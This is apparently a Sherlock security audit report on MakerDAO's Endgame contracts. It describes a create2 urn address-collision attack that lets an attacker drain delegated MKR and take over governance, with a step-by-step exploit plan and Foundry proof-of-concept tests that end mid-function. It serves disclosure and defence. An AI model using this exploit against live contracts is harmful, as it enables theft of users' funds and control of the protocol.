SHERLOCK

SHERLOCK SECURITY REVIEW FOR

Contest type:	**Public**
Prepared for:	**MakerDAO**
Prepared by:	**Sherlock**
Lead Security Expert:	**0x52**
Dates Audited:	**July 8 - August 5, 2024**
Prepared on:	**September 17, 2024**

Introduction

Endgame is a fundamental transformation of MakerDAO that improves growth, resilience and accessibility, with the aim of scaling the Dai supply to 100 billion and beyond.

Scope

Repository: makerdao/nst

Branch: sherlock-contest

Commit: 0936cf96830ca1d44f10a1ebe39d4da209b97339

Repository: makerdao/ngt

Branch: sherlock-contest

Commit: 39d29dc99e927b93be5c8b1964cd3267497cc4a1

Repository: makerdao/sdai

Branch: sherlock-contest

Commit: c07bfe164d036acbc1e0b50560fdd18378fd9dd3

Repository: makerdao/dss-flappers

Branch: sherlock-contest

Commit: b2e2ed17554b887cee517daa8d3e0d2f841b4871

Repository: makerdao/vote-delegate

Branch: sherlock-contest

Commit: ae29376d2b8fdb7293c588584f62fe302914f575

Repository: makerdao/lockstake

Branch: sherlock-contest

Commit: ca5ef60eb4d2be83dc4275345bf0d5859c66a72e

Repository: makerdao/endgame-toolkit

Branch: sherlock-contest

Commit: 70b59deb7201758fcb7b81497a09c30b8aacda95

Repository: makerdao/univ2-pool-migrator

Branch: sherlock-contest

Commit: 2adb62b7c67705977a0f8fb89c228779f52de12e

For the detailed scope, see the contest details.

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues found

Informational	Medium	High
2	0	0

Issues not fixed or acknowledged

Informational	Medium	High
0	0	0

Security experts who found informational issues

hash Yashar 00xSEV

Issue I-01: An attacker can exploit LSUrn address collisions using create2 for complete control of Maker protocol

Source: https://github.com/sherlock-audit/2024-06-makerdao-endgame-judging/issues/64

The protocol has acknowledged this issue.

Found by

00xSEV, Yashar, hash

Summary

An attacker can use brute force to find a collision between a new urn address (dependent solely on `msg.sender`) and an EOA controlled by the attacker. While this currently costs between $1.5 million and several million dollars (detailed in "Vulnerability Details"), the cost is decreasing, making the attack more feasible over time.

By brute-forcing two such urns, the attacker can transfer all MKR used in LSE and VDs to their own VD, allowing them to elect any new `hat` and potentially take full control of the Maker protocol.

Vulnerability Detail

Feasibility of Collision

The current cost of this attack is estimated to be less than $1.5 million at current prices.

The computational, time, and memory costs have been extensively discussed in many issues with multiple judges, concluding that the attack is possible, albeit relatively expensive (up to millions of dollars). Given that MKR's market cap is [~$2.2 billion](https://coinmarketcap.com/currencies/maker/) as of August 3, and [11.7242 million) is now delegated, the potential profit significantly outweighs the cost of the attack.

Considering that the reviewed contracts are the final state of MakerDAO, we must be aware that future price drops for this attack will occur due to new algorithms, reduced computational costs, and specialized hardware (ASICs). These machines, created for the attack, could also be used to compromise other protocols, further reducing the cost per attack. Additionally, growth in Maker's market cap can make the attack more profitable and worthy of investment.

Examples of Previous Issues with the Same Root Cause

All of these were judged as valid medium

- https://github.com/sherlock-audit/2024-01-napier-judging/issues/111
- https://github.com/sherlock-audit/2023-12-arcadia-judging/issues/59
- https://github.com/sherlock-audit/2023-07-kyber-swap-judging/issues/90
- https://github.com/code-423n4/2024-04-panoptic-findings/issues/482

Summary The current cost of this attack is estimated to be less than $1.5 million at current prices.

An attacker can find a single address collision between (1) and (2) with a high probability of success using the meet-in-the-middle technique, a classic brute-force-based attack in cryptography:

- Brute-force a sufficient number of salt values (2^80), pre-compute the resulting account addresses, and efficiently store them, e.g., in a Bloom filter.
- Brute-force contract pre-computation to find a collision with any address within the stored set from step 1.

The feasibility, detailed technique, and hardware requirements for finding a collision are well-documented:

- Sherlock Audit Issue
- EIP-3607, which addresses this exact attack
- Blog post discussing the cost of this attack

The Bitcoin network hashrate has reached 6.5x10^20 hashes per second, taking only 31 minutes to achieve the necessary hashes. A fraction of this computing power can still find a collision within a reasonable timeframe.

Steps

1. An attacker needs to find two private keys that create EOAs with the following properties:
    - The first key generates a regular EOA, `eoa11`
    - The second key, `eoa12`, when used as a salt for LSUrn creation, produces an urn with an address equal to `eoa11`.
2. Call `vat.hope(attacker)` and `lsmkr.approve(attacker, max)` from `eoa11`.
3. Call `LSE.open(0)` from `eoa12`:
    1. It creates `LSUrn1`.

    2. `LSUrn1` address == `eoa11` address.
    3. `LSUrn1` retains the approvals given from `eoa11` in step 2.
4. Repeat the process using `eoa21`, `eoa22`, and `LSUrn2`.
5. Call `LSE.lock(LSUrn1, 1000e18)` to deposit 1000 MKR into `LSUrn1`:
    1. This increases `vat.urns[LSUrn1].ink` by 1000e18.
    2. `urnVoteDelegates[LSUrn1]` remains `address(0)`.
6. Transfer 1000e18 .ink from `LSUrn1` to `LSUrn2`:
    1. This can be done from the `attacker` account using `vat.fork` because both LSUrns have given approval to the `attacker` address.
    2. Alternatively, `vat.frob` can be used to move from `vat.urns[LSUrn1].ink` to `vat.gem[LSUrn1]`, and then `vat.frob` to move from `vat.gem[LSUrn1]` to `vat.urns[LSUrn2].ink`.
7. Create `attackersVD` (controlled by the attacker) using `VoteDelegateFactory.create` from the `attacker` address.
8. Call `LSE.selectVoteDelegate(LSUrn1, victimVD)`:
    1. `victimVD` is the target for fund extraction.
    2. The system checks the funds by querying `vat.urns(ilk, urn)`.
    3. Since .ink was moved to `LSUrn2` in step 6, `LSUrn1` has 0 .ink, so no funds are moved to `victimVD`, but `urnVoteDelegates[LSUrn1]` is set to `victimVD`.
9. Move .ink from `LSUrn2` back to `LSUrn1` (See step 6).
10. Call `LSE.selectVoteDelegate(LSUrn1, attackersVD)`:
    1. The system sees that `LSUrn1` has 1000e18 .ink.
    2. It calls `VD.withdraw` inside `_selectVoteDelegate` with `prevVoteDelegate` set to `victimVD`.
    3. 1000e18 MKR is moved from `victimVD` to `attackersVD`.
11. Call `LSE.selectVoteDelegate(LSUrn2, victimVD)` (see step 8).
12. Move .ink from `LSUrn1` to `LSUrn2` (See step 6).
13. Call `LSE.selectVoteDelegate(LSUrn2, attackersVD)` (see step 10):
    1. `vat.urns[LSUrn2].ink` == 1000e18.
    2. `attackersVD` balance of MKR is 2000e18.
14. Repeat steps 8-13 to drain `victimVD`.

15. Repeat for different `victimVD`.
16. Replace `victimVD` with `address(0)` and repeat steps 8-13 to move all funds in LSE to `attackersVD`.
17. The attacker can then `LSE.free` 850 MKR (depositing 1000 MKR - 15% withdrawal fee) to reduce the capital/cost required for the attack.
18. Create a `hat` and vote for it with all the stolen power (almost all active voters), thereby gaining full control of the system:
    1. Most active voters are VoteDelegates:
        1. This can be verified in the "Supporters" section of the latest vote.
    2. Although only 11.7% of MKR is currently delegated, this percentage is expected to grow (increasing voter participation is a key goal of EndGame, as outlined in "Improved voter participation", #2, and key goal here). Others most likely will not be able to gather more votes within 16 hours to prevent the attacker's `hat` from being selected. \

Result:

- The attacker gains almost all the voting power in the system (most active voters are VoteDelegates).
- Liquidations and withdrawals are disabled; funds are locked in `attackersVD`, effectively immobilizing all LSE.
- The attacker gains full control of the system through `hat` election.

Other Variations:

- An `eoa11` can be replaced with a contract created by `eoa3`. The address of the contract can be brute-forced in the same way as `eoa11`. The contract performs step 2 instead of `eoa11` and self-destructs in the same transaction.
- If the attacker creates only one LSUrn with the collision:
  - They can steal up to 5.5 times more from others using a similar loop, but `LSUrn2` will be a regular urn. In step 13, the attacker must transfer LS MKR from `LSUrn1` and withdraw 85% (with a 15% withdrawal fee). They then deposit (`lock`) it in `LSUrn1` and repeat the process. Refer to `ALSEH6.testAttack1Loop1Urn` in PoC.
  - They can lock liquidations for any urn by donating 1 wei of .ink. Refer to `testAttack4SendOneInk*`.
  - They can lock their own liquidation by transferring LS MKR from `LSUrn1` (testAttack5SendLsMkr).

Link to create2

Impact

- The attacker gains almost all the voting power in the system within a short period (the most active voters are VoteDelegates):
  - It may not be possible to gather more votes during the delay (16 hours).
  - If delegating becomes very popular and more than 50% is delegated, it may become impossible to outvote the attacker.
- It is highly likely that the attacker will be able to elect any `chief.hat`, thereby gaining full control over the system:
  - They can add a new collateral type that is their own token to mint unlimited DAI (they can also change the DAI max supply, `Line`).
  - They can create a token stream to their address.
  - And numerous additional consequences.
- Liquidations and withdrawals will be disabled, effectively locking the funds in `attackersVD`. This will brick all LSE operations.
- The attacker can change end.min and shut down the protocol.
- The attacker can profit by shorting MKR.
- All delegated MKR will be lost (117k, or 11.7%, of all MKR as of now). Note that an average vote receives around 117k weight.

Code Snippet

PoC

1. Create `test/ALockstakeEngine.sol` in the root project directory.

```
// SPDX-License-Identifier: AGPL-3.0-or-later

pragma solidity ^0.8.21;

import "../dss-flappers/lib/dss-test/src//DssTest.sol";
import "../dss-flappers/lib/dss-test/lib/dss-interfaces/src/Interfaces.sol";
import { LockstakeDeploy } from "../lockstake/deploy/LockstakeDeploy.sol";
import { LockstakeInit, LockstakeConfig, LockstakeInstance } from
↪  "../lockstake/deploy/LockstakeInit.sol";
import { LockstakeMkr } from "../lockstake/src/LockstakeMkr.sol";
import { LockstakeEngine } from "../lockstake/src/LockstakeEngine.sol";
import { LockstakeClipper } from "../lockstake/src/LockstakeClipper.sol";
```

```
import { LockstakeUrn } from "../lockstake/src/LockstakeUrn.sol";
import { VoteDelegateFactoryMock, VoteDelegateMock } from
↪  "../lockstake/test/mocks/VoteDelegateMock.sol";
import { GemMock } from "../lockstake/test/mocks/GemMock.sol";
import { NstMock } from "../lockstake/test/mocks/NstMock.sol";
import { NstJoinMock } from "../lockstake/test/mocks/NstJoinMock.sol";
import { StakingRewardsMock } from
↪  "../lockstake/test/mocks/StakingRewardsMock.sol";
import { MkrNgtMock } from "../lockstake/test/mocks/MkrNgtMock.sol";

import {VoteDelegateFactory} from "../vote-delegate/src/VoteDelegateFactory.sol";
import {VoteDelegate} from "../vote-delegate/src/VoteDelegate.sol";


contract DSChiefLike  {
    DSTokenAbstract public IOU;
    DSTokenAbstract public GOV;
    mapping(address=>uint256) public deposits;
    function free(uint wad) public {}
    function lock(uint wad) public {}
}

interface CalcFabLike {
    function newLinearDecrease(address) external returns (address);
}

interface LineMomLike {
    function ilks(bytes32) external view returns (uint256);
}

interface MkrAuthorityLike {
    function rely(address) external;
}

contract ALockstakeEngineTest is DssTest {
    using stdStorage for StdStorage;

    DssInstance             dss;
    address                 pauseProxy;
    DSTokenAbstract         mkr;
    LockstakeMkr            lsmkr;
    LockstakeEngine         engine;
    LockstakeClipper        clip;
    address                 calc;
    MedianAbstract          pip;
    VoteDelegateFactory     voteDelegateFactory;
    NstMock                 nst;
```

```
    NstJoinMock             nstJoin;
    GemMock                 rTok;
    StakingRewardsMock      farm;
    StakingRewardsMock      farm2;
    MkrNgtMock              mkrNgt;
    GemMock                 ngt;
    bytes32                 ilk = "LSE";
    address                 voter;
    address                 voteDelegate;

    LockstakeConfig     cfg;

    uint256             prevLine;

    address constant LOG = 0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F;

    event AddFarm(address farm);
    event DelFarm(address farm);
    event Open(address indexed owner, uint256 indexed index, address urn);
    event Hope(address indexed urn, address indexed usr);
    event Nope(address indexed urn, address indexed usr);
    event SelectVoteDelegate(address indexed urn, address indexed voteDelegate_);
    event SelectFarm(address indexed urn, address farm, uint16 ref);
    event Lock(address indexed urn, uint256 wad, uint16 ref);
    event LockNgt(address indexed urn, uint256 ngtWad, uint16 ref);
    event Free(address indexed urn, address indexed to, uint256 wad, uint256
↪   freed);
    event FreeNgt(address indexed urn, address indexed to, uint256 ngtWad,
↪   uint256 ngtFreed);
    event FreeNoFee(address indexed urn, address indexed to, uint256 wad);
    event Draw(address indexed urn, address indexed to, uint256 wad);
    event Wipe(address indexed urn, uint256 wad);
    event GetReward(address indexed urn, address indexed farm, address indexed
↪   to, uint256 amt);
    event OnKick(address indexed urn, uint256 wad);
    event OnTake(address indexed urn, address indexed who, uint256 wad);
    event OnRemove(address indexed urn, uint256 sold, uint256 burn, uint256
↪   refund);

    function _divup(uint256 x, uint256 y) internal pure returns (uint256 z) {
        // Note: _divup(0,0) will return 0 differing from natural solidity
↪   division
        unchecked {
            z = x != 0 ? ((x - 1) / y) + 1 : 0;
        }
    }
```

```
    // Real contracts for mainnet
    address chief = 0x0a3f6849f78076aefaDf113F5BED87720274dDC0;
    address polling = 0xD3A9FE267852281a1e6307a1C37CDfD76d39b133;
    uint chiefBalanceBeforeTests;

    function setUp() public virtual {
        vm.createSelectFork(vm.envString("ETH_RPC_URL"), 20422954);

        dss = MCD.loadFromChainlog(LOG);

        pauseProxy = dss.chainlog.getAddress("MCD_PAUSE_PROXY");
        pip = MedianAbstract(dss.chainlog.getAddress("PIP_MKR"));
        mkr = DSTokenAbstract(dss.chainlog.getAddress("MCD_GOV"));
        nst = new NstMock();
        nstJoin = new NstJoinMock(address(dss.vat), address(nst));
        rTok = new GemMock(0);
        ngt = new GemMock(0);
        mkrNgt = new MkrNgtMock(address(mkr), address(ngt), 24_000);
        vm.startPrank(pauseProxy);
        MkrAuthorityLike(mkr.authority()).rely(address(mkrNgt));
        vm.stopPrank();

        // voteDelegateFactory = new VoteDelegateFactoryMock(address(mkr));
        voteDelegateFactory = new VoteDelegateFactory(
            chief, polling
        );
        voter = address(123);
        vm.prank(voter); voteDelegate = voteDelegateFactory.create();

        vm.prank(pauseProxy); pip.kiss(address(this));
        vm.store(address(pip), bytes32(uint256(1)), bytes32(uint256(1_500 *
↪   10**18)));

        LockstakeInstance memory instance = LockstakeDeploy.deployLockstake(
            address(this),
            pauseProxy,
            address(voteDelegateFactory),
            address(nstJoin),
            ilk,
            15 * WAD / 100,
            address(mkrNgt),
            bytes4(abi.encodeWithSignature("newLinearDecrease(address)"))
        );

        engine = LockstakeEngine(instance.engine);
        clip = LockstakeClipper(instance.clipper);
        calc = instance.clipperCalc;
```

```
lsmkr = LockstakeMkr(instance.lsmkr);
farm = new StakingRewardsMock(address(rTok), address(lsmkr));
farm2 = new StakingRewardsMock(address(rTok), address(lsmkr));

address[] memory farms = new address[](2);
farms[0] = address(farm);
farms[1] = address(farm2);

cfg = LockstakeConfig({
    ilk: ilk,
    voteDelegateFactory: address(voteDelegateFactory),
    nstJoin: address(nstJoin),
    nst: address(nstJoin.nst()),
    mkr: address(mkr),
    mkrNgt: address(mkrNgt),
    ngt: address(ngt),
    farms: farms,
    fee: 15 * WAD / 100,
    maxLine: 10_000_000 * 10**45,
    gap: 1_000_000 * 10**45,
    ttl: 1 days,
    dust: 50,
    duty: 100000001 * 10**27 / 100000000,
    mat: 3 * 10**27,
    buf: 1.25 * 10**27, // 25% Initial price buffer
    tail: 3600, // 1 hour before reset
    cusp: 0.2 * 10**27, // 80% drop before reset
    chip: 2 * WAD / 100,
    tip: 3,
    stopped: 0,
    chop: 1 ether,
    hole: 10_000 * 10**45,
    tau: 100,
    cut: 0,
    step: 0,
    lineMom: true,
    tolerance: 0.5 * 10**27,
    name: "LOCKSTAKE",
    symbol: "LMKR"
});

prevLine = dss.vat.Line();

vm.startPrank(pauseProxy);
LockstakeInit.initLockstake(dss, instance, cfg);
vm.stopPrank();
```

```
        deal(address(mkr), address(this), 100_000 * 10**18, true);
        deal(address(ngt), address(this), 100_000 * 24_000 * 10**18, true);

        // Add some existing DAI assigned to nstJoin to avoid a particular error
        stdstore.target(address(dss.vat)).sig("dai(address)").with_key(address(n
↪  stJoin)).depth(0).checked_write(100_000 * RAD);

        chiefBalanceBeforeTests = mkr.balanceOf(chief);
    }

}
```

It is based on the `LockstakeEngine.t.sol` `setUp` function:

- Fixed imports
- Added `block.number` for caching RPC calls
- Added `chief` and `polling` contracts from mainnet
- Added the real `VoteDelegateFactory`

To see the diff, you can run `git diff`. Note: all other functions except `setUp` are removed from the file and the diff.

```
diff --git a/lockstake/test/LockstakeEngine.t.sol b/test/ALockstakeEngine.sol
index 83fa75d..ba4f381 100644
--- a/lockstake/test/LockstakeEngine.t.sol
+++ b/test/ALockstakeEngine.sol
@@ -2,20 +2,32 @@

 pragma solidity ^0.8.21;

-import "dss-test/DssTest.sol";
-import "dss-interfaces/Interfaces.sol";
-import { LockstakeDeploy } from "deploy/LockstakeDeploy.sol";
-import { LockstakeInit, LockstakeConfig, LockstakeInstance } from
↪  "deploy/LockstakeInit.sol";
-import { LockstakeMkr } from "src/LockstakeMkr.sol";
-import { LockstakeEngine } from "src/LockstakeEngine.sol";
-import { LockstakeClipper } from "src/LockstakeClipper.sol";
-import { LockstakeUrn } from "src/LockstakeUrn.sol";
-import { VoteDelegateFactoryMock, VoteDelegateMock } from
↪  "test/mocks/VoteDelegateMock.sol";
-import { GemMock } from "test/mocks/GemMock.sol";
-import { NstMock } from "test/mocks/NstMock.sol";
-import { NstJoinMock } from "test/mocks/NstJoinMock.sol";
-import { StakingRewardsMock } from "test/mocks/StakingRewardsMock.sol";
```

```
-import { MkrNgtMock } from "test/mocks/MkrNgtMock.sol";
+import "../dss-flappers/lib/dss-test/src//DssTest.sol";
+import "../dss-flappers/lib/dss-test/lib/dss-interfaces/src/Interfaces.sol";
+import { LockstakeDeploy } from "../lockstake/deploy/LockstakeDeploy.sol";
+import { LockstakeInit, LockstakeConfig, LockstakeInstance } from
↪  "../lockstake/deploy/LockstakeInit.sol";
+import { LockstakeMkr } from "../lockstake/src/LockstakeMkr.sol";
+import { LockstakeEngine } from "../lockstake/src/LockstakeEngine.sol";
+import { LockstakeClipper } from "../lockstake/src/LockstakeClipper.sol";
+import { LockstakeUrn } from "../lockstake/src/LockstakeUrn.sol";
+import { VoteDelegateFactoryMock, VoteDelegateMock } from
↪  "../lockstake/test/mocks/VoteDelegateMock.sol";
+import { GemMock } from "../lockstake/test/mocks/GemMock.sol";
+import { NstMock } from "../lockstake/test/mocks/NstMock.sol";
+import { NstJoinMock } from "../lockstake/test/mocks/NstJoinMock.sol";
+import { StakingRewardsMock } from
↪  "../lockstake/test/mocks/StakingRewardsMock.sol";
+import { MkrNgtMock } from "../lockstake/test/mocks/MkrNgtMock.sol";
+
+import {VoteDelegateFactory} from
↪  "../vote-delegate/src/VoteDelegateFactory.sol";
+import {VoteDelegate} from "../vote-delegate/src/VoteDelegate.sol";
+
+
+contract DSChiefLike  {
+    DSTokenAbstract public IOU;
+    DSTokenAbstract public GOV;
+    mapping(address=>uint256) public deposits;
+    function free(uint wad) public {}
+    function lock(uint wad) public {}
+}

 interface CalcFabLike {
     function newLinearDecrease(address) external returns (address);
@@ -29,7 +41,7 @@ interface MkrAuthorityLike {
     function rely(address) external;
 }

-contract LockstakeEngineTest is DssTest {
+contract ALockstakeEngineTest is DssTest {
     using stdStorage for StdStorage;

     DssInstance             dss;
@@ -40,7 +52,7 @@ contract LockstakeEngineTest is DssTest {
     LockstakeClipper        clip;
     address                 calc;
     MedianAbstract          pip;
```

```
-    VoteDelegateFactoryMock voteDelegateFactory;
+    VoteDelegateFactory     voteDelegateFactory;
     NstMock                 nst;
     NstJoinMock             nstJoin;
     GemMock                 rTok;
@@ -84,8 +96,13 @@ contract LockstakeEngineTest is DssTest {
         }
     }

-    function setUp() public {
-        vm.createSelectFork(vm.envString("ETH_RPC_URL"));
+    // Real contracts for mainnet
+    address chief = 0x0a3f6849f78076aefaDf113F5BED87720274dDC0;
+    address polling = 0xD3A9FE267852281a1e6307a1C37CDfD76d39b133;
+    uint chiefBalanceBeforeTests;
+
+    function setUp() public virtual {
+        vm.createSelectFork(vm.envString("ETH_RPC_URL"), 20422954);

         dss = MCD.loadFromChainlog(LOG);

@@ -101,7 +118,10 @@ contract LockstakeEngineTest is DssTest {
         MkrAuthorityLike(mkr.authority()).rely(address(mkrNgt));
         vm.stopPrank();

-        voteDelegateFactory = new VoteDelegateFactoryMock(address(mkr));
+        // voteDelegateFactory = new VoteDelegateFactoryMock(address(mkr));
+        voteDelegateFactory = new VoteDelegateFactory(
+            chief, polling
+        );
         voter = address(123);
         vm.prank(voter); voteDelegate = voteDelegateFactory.create();
```

2. Add the following `remappings.txt` to the root project directory.
3. Run `forge test  --match-path test/ALSEH5.sol -vvv` (PoCs for 2 LSUrns)

```
// SPDX-License-Identifier: AGPL-3.0-or-later

pragma solidity ^0.8.21;

import "./ALockstakeEngine.sol";

contract VoteDelegateLike {
    mapping(address => uint256) public stake;
}
```

```
interface ChiefLike {
    // function GOV() external view returns (GemLike);
    // function IOU() external view returns (GemLike);
    function lock(uint256) external;
    function free(uint256) external;
    function vote(address[] calldata) external returns (bytes32);
    function vote(bytes32) external;
    // mapping(address => uint256) public deposits;
    function deposits(address) external returns (uint);
}

contract ALSEH5 is ALockstakeEngineTest {
    // Just some address that the attacker wants to use, a regular EOA
    address attacker = makeAddr("attacker");
    // Address mined by the attacker to create LSUrn
    // so that the LSUrn address will be equal to an EOA controlled by the
↪   attacker
    address minedUrnCreator = makeAddr("minedUrnCreator");

    address[] users = [
        makeAddr("user1"),
        makeAddr("user2"),
        makeAddr("user3")
    ];
    address user4 = makeAddr("user4");

    uint mkrAmount = 100_000 * 10**18;

    address eoaUrn;

    address voteDelegate2;

    address minedUrnCreator2 = makeAddr("minedUrnCreator2");
    address eoaUrn2;

    function setUp() public override {
        // Call the parent setUp
        super.setUp();

        // This urn has the same address as an EOA controlled by the attacker
        // Here we make calls from the EOA, the urn is not created yet
        eoaUrn = engine.getUrn(minedUrnCreator, 0);

        // Give permissions from EOA, the urn is not created yet
        vm.prank(eoaUrn); dss.vat.hope(attacker);
        vm.prank(eoaUrn); lsmkr.approve(attacker, type(uint).max);
```

```
        // Create the urn; can't use EOA after that as per EIP-3607
        vm.prank(minedUrnCreator); engine.open(0);
        // Just for convenience in tests. It's controlled by the attacker
        vm.prank(minedUrnCreator); engine.hope(eoaUrn, attacker);

        // Simulate several other urns
        _createUrnDepositDrawForUsers();

        // Deposit a little bit of ink
        vm.startPrank(attacker);

        deal(address(mkr), attacker, mkrAmount);
        mkr.approve(address(engine), type(uint).max);
        engine.lock(eoaUrn, mkrAmount, 0);

        vm.stopPrank();

        _changeBlockNumberForChief();

        vm.prank(makeAddr("voter"));
        voteDelegate2 = voteDelegateFactory.create();
    }

    function _moveInkToGem() internal {
        vm.prank(attacker); dss.vat.frob(ilk, eoaUrn, eoaUrn, address(0),
↪   -int(mkrAmount), 0);
    }

    // Chief won't allow withdrawal in the same block as the deposit
    function _changeBlockNumberForChief() internal {
        vm.roll(block.number + 1);
    }

    function testAttack6SeveralLsUrnCollisions() public {
        _prepareSecondUrnCollision();

        // VD with the attacker as the owner
        vm.startPrank(attacker);
        address attackersVD = voteDelegateFactory.create();

        // Ensure LSE/VD has enough funds
        vm.startPrank(users[0]);
        deal(address(mkr), users[0], mkrAmount * 10);
        engine.lock(engine.getUrn(users[0], 0), mkrAmount * 10, 0);
        _changeBlockNumberForChief();

        vm.startPrank(attacker);
```

```
        // Ensure urn1 has mkrAmount, urn2 has 0
        _assertEqInk({inkUrn1: mkrAmount, inkUrn2: 0});

        engine.selectVoteDelegate(eoaUrn2, voteDelegate);

        // While there are funds on LSE/VD
        for (uint i; i < 5; i++) {
            // Select attackerVD from urn1, move ink to eoaUrn2
            engine.selectVoteDelegate(eoaUrn, attackersVD);
            dss.vat.fork(ilk, eoaUrn, eoaUrn2, int(mkrAmount), 0);
            // Select victim VD while having 0 ink, so no MKR is transferred
            engine.selectVoteDelegate(eoaUrn, voteDelegate);
            _assertEqInk({inkUrn1: 0, inkUrn2: mkrAmount});

            // Select attackerVD from urn2, move ink to eoaUrn1
            engine.selectVoteDelegate(eoaUrn2, attackersVD);
            dss.vat.fork(ilk, eoaUrn2, eoaUrn, int(mkrAmount), 0);
            engine.selectVoteDelegate(eoaUrn2, voteDelegate);
            _assertEqInk({inkUrn1: mkrAmount, inkUrn2: 0});

            console.log("attackersVD balance: %e",
↪   ChiefLike(chief).deposits(attackersVD));
        }

        // Note: attacker only used 1 mkrAmount.
        assertEq(mkrAmount * 10, ChiefLike(chief).deposits(attackersVD));
    }

    function testAttack7SeveralLsUrnCollisionsStealFromLSE() external {
        _prepareSecondUrnCollision();

        // VD with the attacker as the owner
        vm.startPrank(attacker);
        address attackersVD = voteDelegateFactory.create();

        // Ensure LSE/VD has enough funds
        vm.startPrank(users[0]);
        engine.selectVoteDelegate(engine.getUrn(users[0], 0), address(0));
        deal(address(mkr), users[0], mkrAmount * 10);
        engine.lock(engine.getUrn(users[0], 0), mkrAmount * 10, 0);
        _changeBlockNumberForChief();

        vm.startPrank(attacker);

        // Ensure urn1 has mkrAmount, urn2 has 0
        _assertEqInk({inkUrn1: mkrAmount, inkUrn2: 0});
```

```
        // While there are funds on LSE/VD
        for (uint i; i < 5; i++) {
            // Select attackerVD from urn1, move ink to eoaUrn2
            engine.selectVoteDelegate(eoaUrn, attackersVD);
            dss.vat.fork(ilk, eoaUrn, eoaUrn2, int(mkrAmount), 0);
            engine.selectVoteDelegate(eoaUrn, address(0));
            _assertEqInk({inkUrn1: 0, inkUrn2: mkrAmount});

            // Select attackerVD from urn2, move ink to eoaUrn1
            engine.selectVoteDelegate(eoaUrn2, attackersVD);
            dss.vat.fork(ilk, eoaUrn2, eoaUrn, int(mkrAmount), 0);
            engine.selectVoteDelegate(eoaUrn2, address(0));
            _assertEqInk({inkUrn1: mkrAmount, inkUrn2: 0});

            console.log("attackersVD balance: %e",
↪   ChiefLike(chief).deposits(attackersVD));
        }

        assertEq(mkrAmount * 10, ChiefLike(chief).deposits(attackersVD));
    }

    function _assertEqInk(uint inkUrn1, uint inkUrn2) internal view {
        (uint256 inkUrn1Real,) = dss.vat.urns(ilk, eoaUrn);
        (uint256 inkUrn2Real,) = dss.vat.urns(ilk, eoaUrn2);

        assertEq(inkUrn1Real, inkUrn1);
        assertEq(inkUrn2Real, inkUrn2);
    }

    function _prepareSecondUrnCollision() public {
        // Same as in setUp but for another urn
        eoaUrn2 = engine.getUrn(minedUrnCreator2, 0);

        // Give permissions from EOA, the urn is not created yet
        vm.prank(eoaUrn2); dss.vat.hope(attacker);
        vm.prank(eoaUrn2); lsmkr.approve(attacker, type(uint).max);

        // Create the urn; can't use EOA after that as per EIP-3607
        vm.prank(minedUrnCreator2); engine.open(0);
        vm.prank(minedUrnCreator2); engine.hope(eoaUrn2, attacker);
    }

    function _testSelectDelegate(bool expectRevert) internal {
        for (uint i; i < users.length; i++) {
            uint sId = vm.snapshot();
```

```
            address user = users[i];
            address urn = engine.getUrn(user, 0);

            if (expectRevert) {
                vm.expectRevert(bytes("Test"));
            }

            vm.prank(user); engine.selectVoteDelegate(urn, voteDelegate2);

            vm.revertTo(sId);
        }
    }

    function _sendOneInkFromEoaUrn(address user) internal {
        address urn = engine.getUrn(user, 0);
        vm.prank(attacker); dss.vat.frob(ilk, urn, eoaUrn, address(0), 1, 0);
    }

    function _testLiquidateUsingDog(address user, string memory revertMsg, bool
↪   useSnapshots) internal {
        uint sId;
        if (useSnapshots) sId = vm.snapshot();

        bool expectRevert = bytes(revertMsg).length > 0;
        address urn = engine.getUrn(user, 0);

        // Force urn unsafe
        _changeMkrPrice(0.05 * 10**18);

        if (expectRevert) vm.expectRevert(bytes(revertMsg));
        dss.dog.bark(ilk, urn, makeAddr("kpr"));

        if (useSnapshots) vm.revertTo(sId);
    }

    function _changeMkrPrice(uint newPrice) internal {
        vm.store(address(pip), bytes32(uint256(1)), bytes32(uint256(newPrice)));
        dss.spotter.poke(ilk);
    }

    function _testLiquidateUsingDog(address user, string memory revertMsg)
↪   internal {
        _testLiquidateUsingDog(user, revertMsg, true);
    }

    function _testLiquidateUsingDog() internal {
        for (uint i; i < users.length; i++) {
```

```
            address user = users[i];
            _testLiquidateUsingDog(user, "");
        }
    }

    function _createUrnDepositDrawForUsers() internal {
        for (uint i; i < users.length; i++) {
            _createUrnDepositDrawForUsers(users[i], voteDelegate);
        }
    }

    function _createUrnDepositDrawForUsers(address user, address _voteDelegate)
↪   internal {
        _createUrnDepositDrawForUsers(user, _voteDelegate, mkrAmount);
    }

    function _createUrnDepositDrawForUsers(address user, address _voteDelegate,
↪   uint amount) internal {
        deal(address(mkr), user, amount);

        vm.startPrank(user);

        mkr.approve(address(engine), type(uint).max);
        address urn = engine.open(0);
        engine.lock(urn, amount, 0);
        engine.selectVoteDelegate(urn, _voteDelegate);
        engine.draw(urn, user, amount / 50); // Same proportion as in original
↪   LSE test

        vm.stopPrank();
    }

}
```

4. Run `forge test  --match-path test/ALSEH6.sol -vvv` (PoCs for 1 LSUrns)

```
// SPDX-License-Identifier: AGPL-3.0-or-later

pragma solidity ^0.8.21;

import "./ALSEH5.sol";

contract ALSEH6 is ALSEH5 {

    function testAttack1Loop1Urn() public {
```

```
        console.log("MKR before the attack on attacker: %e",
↪   mkr.balanceOf(attacker));
        vm.prank(attacker);
        // VD with attacker as the owner
        address attackersVD = voteDelegateFactory.create();

        // Select this VD as the holder of eoaUrn MKR
        vm.prank(minedUrnCreator); engine.selectVoteDelegate(eoaUrn,
↪   attackersVD);
        console.log("Voting power on attackersVD before: %e",
↪   ChiefLike(chief).deposits(attackersVD));

        vm.startPrank(attacker);

        // Move .ink to gem. Required so we can `frob` (add .ink) to urn2 from
↪   eoaUrn's gem
        dss.vat.frob(ilk, eoaUrn, eoaUrn, address(0), -int(mkrAmount), 0);

        // Open urn2
        address urn2 = engine.open(0);

        // Select the most popular voteDelegate that has enough MKR
        engine.selectVoteDelegate(urn2, voteDelegate);
        // Transfer lsMKR and urn.ink there
        lsmkr.transferFrom(eoaUrn, urn2, mkrAmount);
        dss.vat.frob(ilk, urn2, eoaUrn, address(0), int(mkrAmount), 0);

        // Withdraw from urn2. Note: MKR is still locked on chief through
↪   VD.stake on urn1
        // So we withdraw from other users
        engine.free(urn2, attacker, mkrAmount);

        // Now can continue voting using attackersVD, but also got back 85% of
↪   the MKR
